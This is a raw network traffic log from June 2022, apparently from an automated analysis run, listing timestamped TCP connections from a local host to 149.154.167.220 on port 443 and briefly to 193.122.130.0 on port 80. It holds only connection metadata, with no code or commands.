Jun 26, 2022 09:33:22.725526094 CEST	49951	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:22.725552082 CEST	443	49951	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:22.725629091 CEST	49951	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:22.726020098 CEST	49951	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:22.726035118 CEST	443	49951	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:22.783406019 CEST	443	49951	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:22.786175966 CEST	49951	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:22.786211967 CEST	443	49951	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:22.786331892 CEST	49951	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:22.786346912 CEST	443	49951	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.103980064 CEST	443	49951	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.104121923 CEST	443	49951	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.104263067 CEST	49951	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.105123997 CEST	49951	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.106450081 CEST	49952	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.106518984 CEST	443	49952	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.106606960 CEST	49952	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.107131004 CEST	49952	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.107168913 CEST	443	49952	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.167942047 CEST	443	49952	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.171921968 CEST	49952	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.171947956 CEST	443	49952	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.172055960 CEST	49952	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.172063112 CEST	443	49952	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.490519047 CEST	443	49952	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.490607977 CEST	443	49952	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.490691900 CEST	49952	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.491411924 CEST	49952	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.492773056 CEST	49953	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.492811918 CEST	443	49953	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.492902994 CEST	49953	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.493320942 CEST	49953	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.493347883 CEST	443	49953	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.549808979 CEST	443	49953	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.552576065 CEST	49953	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.552598953 CEST	443	49953	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.552690029 CEST	49953	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.552701950 CEST	443	49953	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.865818024 CEST	443	49953	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.865941048 CEST	443	49953	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.866007090 CEST	49953	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.866674900 CEST	49953	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.868129969 CEST	49954	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.868175030 CEST	443	49954	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.868244886 CEST	49954	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.868716002 CEST	49954	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.868731976 CEST	443	49954	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.933537960 CEST	443	49954	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.936358929 CEST	49954	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.936419964 CEST	443	49954	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:23.936551094 CEST	49954	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:23.936579943 CEST	443	49954	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.248080969 CEST	443	49954	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.248157024 CEST	443	49954	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.248223066 CEST	49954	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.249130964 CEST	49954	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.250854015 CEST	49955	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.250886917 CEST	443	49955	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.250967979 CEST	49955	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.251450062 CEST	49955	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.251463890 CEST	443	49955	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.308701992 CEST	443	49955	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.313170910 CEST	49955	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.313205957 CEST	443	49955	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.313325882 CEST	49955	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.313342094 CEST	443	49955	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.618828058 CEST	443	49955	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.618978977 CEST	443	49955	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.619131088 CEST	49955	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.620637894 CEST	49955	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.624177933 CEST	49956	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.624227047 CEST	443	49956	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.624345064 CEST	49956	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.625232935 CEST	49956	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.625257969 CEST	443	49956	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.690337896 CEST	443	49956	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.693856001 CEST	49956	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.693883896 CEST	443	49956	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:24.696917057 CEST	49956	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:24.696930885 CEST	443	49956	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.003103971 CEST	443	49956	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.003226042 CEST	443	49956	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.003339052 CEST	49956	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.004113913 CEST	49956	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.005548000 CEST	49957	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.005598068 CEST	443	49957	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.005692959 CEST	49957	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.007041931 CEST	49957	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.007066011 CEST	443	49957	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.067110062 CEST	443	49957	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.069725037 CEST	49957	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.069758892 CEST	443	49957	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.069889069 CEST	49957	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.069905043 CEST	443	49957	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.386306047 CEST	443	49957	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.386398077 CEST	443	49957	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.386523008 CEST	49957	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.391498089 CEST	49957	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.393018007 CEST	49962	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.393059015 CEST	443	49962	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.393150091 CEST	49962	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.393682003 CEST	49962	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.393695116 CEST	443	49962	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.451948881 CEST	443	49962	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.454638958 CEST	49962	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.454689026 CEST	443	49962	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.454783916 CEST	49962	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.454801083 CEST	443	49962	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.769682884 CEST	443	49962	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.769808054 CEST	443	49962	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.769866943 CEST	49962	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.770710945 CEST	49962	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.772600889 CEST	49964	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.772629023 CEST	443	49964	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.772703886 CEST	49964	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.773179054 CEST	49964	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.773191929 CEST	443	49964	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.837871075 CEST	443	49964	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.841125965 CEST	49964	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.841156960 CEST	443	49964	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:25.841248989 CEST	49964	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:25.841258049 CEST	443	49964	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.158231974 CEST	443	49964	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.158355951 CEST	443	49964	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.158427954 CEST	49964	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.159099102 CEST	49964	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.160443068 CEST	49965	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.160485983 CEST	443	49965	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.160717964 CEST	49965	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.161403894 CEST	49965	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.161425114 CEST	443	49965	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.230989933 CEST	443	49965	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.234685898 CEST	49965	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.234714985 CEST	443	49965	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.234865904 CEST	49965	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.234875917 CEST	443	49965	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.560328007 CEST	443	49965	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.560467958 CEST	443	49965	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.560595036 CEST	49965	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.561327934 CEST	49965	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.562660933 CEST	49966	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.562694073 CEST	443	49966	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.562789917 CEST	49966	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.563175917 CEST	49966	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.563191891 CEST	443	49966	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.619524956 CEST	443	49966	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.626405001 CEST	49966	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.626444101 CEST	443	49966	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.626727104 CEST	49966	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.626735926 CEST	443	49966	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.927815914 CEST	443	49966	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.927921057 CEST	443	49966	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.928009033 CEST	49966	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.928913116 CEST	49966	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.930201054 CEST	49967	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.930254936 CEST	443	49967	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.930339098 CEST	49967	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.930768967 CEST	49967	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.930797100 CEST	443	49967	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.990602970 CEST	443	49967	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.993755102 CEST	49967	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.993787050 CEST	443	49967	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:26.993863106 CEST	49967	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:26.993870974 CEST	443	49967	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.301470995 CEST	443	49967	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.301589012 CEST	443	49967	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.301685095 CEST	49967	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.302345037 CEST	49967	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.304011106 CEST	49968	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.304052114 CEST	443	49968	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.304121017 CEST	49968	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.304541111 CEST	49968	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.304559946 CEST	443	49968	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.364453077 CEST	443	49968	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.367203951 CEST	49968	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.367244959 CEST	443	49968	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.367322922 CEST	49968	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.367338896 CEST	443	49968	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.679153919 CEST	443	49968	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.679279089 CEST	443	49968	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.680690050 CEST	49968	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.681265116 CEST	49968	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.683182001 CEST	49969	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.683285952 CEST	443	49969	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.683388948 CEST	49969	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.683819056 CEST	49969	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.683861017 CEST	443	49969	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.746861935 CEST	443	49969	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.749596119 CEST	49969	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.749627113 CEST	443	49969	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.749728918 CEST	49969	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:27.749739885 CEST	443	49969	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:27.782968998 CEST	80	49746	193.122.130.0	192.168.2.5
Jun 26, 2022 09:33:27.783071041 CEST	49746	80	192.168.2.5	193.122.130.0
Jun 26, 2022 09:33:28.061389923 CEST	443	49969	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.061455965 CEST	443	49969	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.061655045 CEST	49969	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.062393904 CEST	49969	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.064133883 CEST	49970	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.064212084 CEST	443	49970	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.064548969 CEST	49970	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.064950943 CEST	49970	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.064975023 CEST	443	49970	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.120948076 CEST	443	49970	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.124229908 CEST	49970	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.124260902 CEST	443	49970	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.126007080 CEST	49970	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.126017094 CEST	443	49970	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.435894012 CEST	443	49970	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.435966969 CEST	443	49970	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.436100006 CEST	49970	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.437315941 CEST	49970	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.593044996 CEST	49972	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.593120098 CEST	443	49972	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.593254089 CEST	49972	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.593689919 CEST	49972	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.593719006 CEST	443	49972	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.651705027 CEST	443	49972	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.656219959 CEST	49972	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.656261921 CEST	443	49972	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.656356096 CEST	49972	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:28.656363964 CEST	443	49972	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.971867085 CEST	443	49972	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.971993923 CEST	443	49972	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:28.972246885 CEST	49972	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.110680103 CEST	49972	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.112052917 CEST	49973	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.112111092 CEST	443	49973	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.112188101 CEST	49973	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.112626076 CEST	49973	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.112658024 CEST	443	49973	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.176399946 CEST	443	49973	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.179111958 CEST	49973	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.179161072 CEST	443	49973	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.180958986 CEST	49973	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.180979013 CEST	443	49973	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.487795115 CEST	443	49973	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.487864017 CEST	443	49973	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.487926006 CEST	49973	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.488676071 CEST	49973	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.489993095 CEST	49974	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.490024090 CEST	443	49974	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.490093946 CEST	49974	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.490483046 CEST	49974	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.490499020 CEST	443	49974	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.551233053 CEST	443	49974	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.571340084 CEST	49974	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.571371078 CEST	443	49974	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.571459055 CEST	49974	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.571466923 CEST	443	49974	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.865839005 CEST	443	49974	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.865926981 CEST	443	49974	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.865995884 CEST	49974	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.900924921 CEST	49974	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.902410984 CEST	49975	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.902472019 CEST	443	49975	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.902568102 CEST	49975	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.902997971 CEST	49975	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:29.903026104 CEST	443	49975	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:29.961184025 CEST	443	49975	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:30.011182070 CEST	49975	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:30.578397036 CEST	49975	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:30.578450918 CEST	443	49975	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:30.578536034 CEST	49975	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:30.578552961 CEST	443	49975	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:30.942123890 CEST	443	49975	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:30.942246914 CEST	443	49975	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:30.942339897 CEST	49975	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.612109900 CEST	49975	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.613687992 CEST	49976	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.613743067 CEST	443	49976	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:31.613828897 CEST	49976	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.614233971 CEST	49976	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.614265919 CEST	443	49976	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:31.671597004 CEST	443	49976	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:31.681629896 CEST	49976	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.681677103 CEST	443	49976	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:31.681752920 CEST	49976	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.681771040 CEST	443	49976	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:31.987092972 CEST	443	49976	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:31.987327099 CEST	443	49976	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:31.987555981 CEST	49976	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.988032103 CEST	49976	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.989640951 CEST	49977	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.989702940 CEST	443	49977	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:31.989795923 CEST	49977	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.990219116 CEST	49977	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:31.990251064 CEST	443	49977	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.048744917 CEST	443	49977	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.051461935 CEST	49977	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.051517010 CEST	443	49977	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.051597118 CEST	49977	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.051620960 CEST	443	49977	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.363679886 CEST	443	49977	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.363769054 CEST	443	49977	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.363961935 CEST	49977	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.364631891 CEST	49977	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.366234064 CEST	49978	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.366293907 CEST	443	49978	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.366455078 CEST	49978	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.366900921 CEST	49978	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.366930962 CEST	443	49978	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.425249100 CEST	443	49978	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.432641983 CEST	49978	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.432671070 CEST	443	49978	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.432761908 CEST	49978	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.432771921 CEST	443	49978	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.741468906 CEST	443	49978	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.741602898 CEST	443	49978	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.741717100 CEST	49978	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.742499113 CEST	49978	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.743839979 CEST	49979	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.743872881 CEST	443	49979	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.743957043 CEST	49979	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.744350910 CEST	49979	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.744366884 CEST	443	49979	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.803307056 CEST	443	49979	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.808010101 CEST	49979	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.808032990 CEST	443	49979	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:32.808162928 CEST	49979	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:32.808171988 CEST	443	49979	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:33.116242886 CEST	443	49979	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:33.116550922 CEST	443	49979	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:33.116723061 CEST	49979	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:33.117888927 CEST	49979	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:33.119455099 CEST	49980	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:33.119513988 CEST	443	49980	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:33.119607925 CEST	49980	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:33.120023012 CEST	49980	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:33.120049953 CEST	443	49980	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:33.178299904 CEST	443	49980	149.154.167.220	192.168.2.5
Jun 26, 2022 09:33:33.181411982 CEST	49980	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:33:33.181456089 CEST	443	49980	149.154.167.220	192.168.2.5
